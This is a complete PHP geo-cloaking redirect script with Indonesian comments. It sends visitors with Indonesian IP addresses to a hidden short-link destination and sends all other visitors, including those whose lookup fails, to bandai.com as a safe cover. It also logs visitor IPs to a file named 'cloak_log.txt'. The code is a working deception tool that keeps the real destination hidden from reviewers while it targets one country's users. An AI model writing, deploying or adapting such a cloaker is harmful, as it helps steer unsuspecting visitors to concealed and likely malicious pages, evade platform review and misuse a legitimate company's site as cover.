<?php
declare(strict_types=1);


// ---------- KONFIGURASI ----------
$LINK_INDO   = 'https://bcc75t.s.gy/jm1GaE';        // tujuan khusus IP Indonesia
$LINK_UTAMA  = 'https://www.bandai.com/';    // tujuan default (luar Indo)
$IPINFO_TOKEN = '';   // opsional: gratis di https://ipinfo.io/signup (50rb req/bln)
$CACHE_TTL   = 86400; // cache lookup geo 24 jam (hemat kuota API)
$LOG_FILE    = __DIR__ . '/cloak_log.txt';        // opsional, bisa dikosongkan

// ---------- Ambil IP asli (support Cloudflare/proxy) ----------
function real_ip(): string {
    foreach (['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_REAL_IP'] as $h) {
        if (!empty($_SERVER[$h])) {
            $first = trim(explode(',', $_SERVER[$h])[0]);
            if (filter_var($first, FILTER_VALIDATE_IP)) return $first;
        }
    }
    return $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';
}

// ---------- Cari negara dari IP (cache file 24 jam) ----------
function get_country(string $ip, string $token, int $ttl): ?string {
    $cacheFile = sys_get_temp_dir() . '/cloak_geo_' . md5($ip) . '.txt';

    if (is_file($cacheFile) && time() - filemtime($cacheFile) < $ttl) {
        $c = trim((string)file_get_contents($cacheFile));
        return $c !== '' ? $c : null;
    }

    $url = $token
        ? "https://ipinfo.io/{$ip}/country?token=" . urlencode($token)
        : "https://ipinfo.io/{$ip}/country";

    $ctx = stream_context_create(['http' => ['timeout' => 5, 'ignore_errors' => true]]);
    $r = @file_get_contents($url, false, $ctx);

    if ($r !== false) {
        $country = strtoupper(trim($r));
        if (preg_match('/^[A-Z]{2}$/', $country)) {
            @file_put_contents($cacheFile, $country);
            return $country;
        }
    }
    return null; // lookup gagal → dianggap "di luar"
}

// ---------- Logging (opsional) ----------
function logit(string $file, string $msg): void {
    if ($file !== '') {
        @file_put_contents($file, '[' . date('c') . '] ' . $msg . PHP_EOL, FILE_APPEND | LOCK_EX);
    }
}

// ---------- EKSEKUSI ----------
$ip      = real_ip();
$country = get_country($ip, $IPINFO_TOKEN, $CACHE_TTL);

if ($country === 'ID') {
    logit($LOG_FILE, "INDO  $ip -> " . $GLOBALS['LINK_INDO']);
    header('Location: ' . $GLOBALS['LINK_INDO'], true, 302);
} else {
    // Non-Indonesia ATAU lookup gagal → aman, arahkan ke web utama
    logit($LOG_FILE, "OTHER ($country)  $ip -> " . $GLOBALS['LINK_UTAMA']);
    header('Location: ' . $GLOBALS['LINK_UTAMA'], true, 302);
}
exit;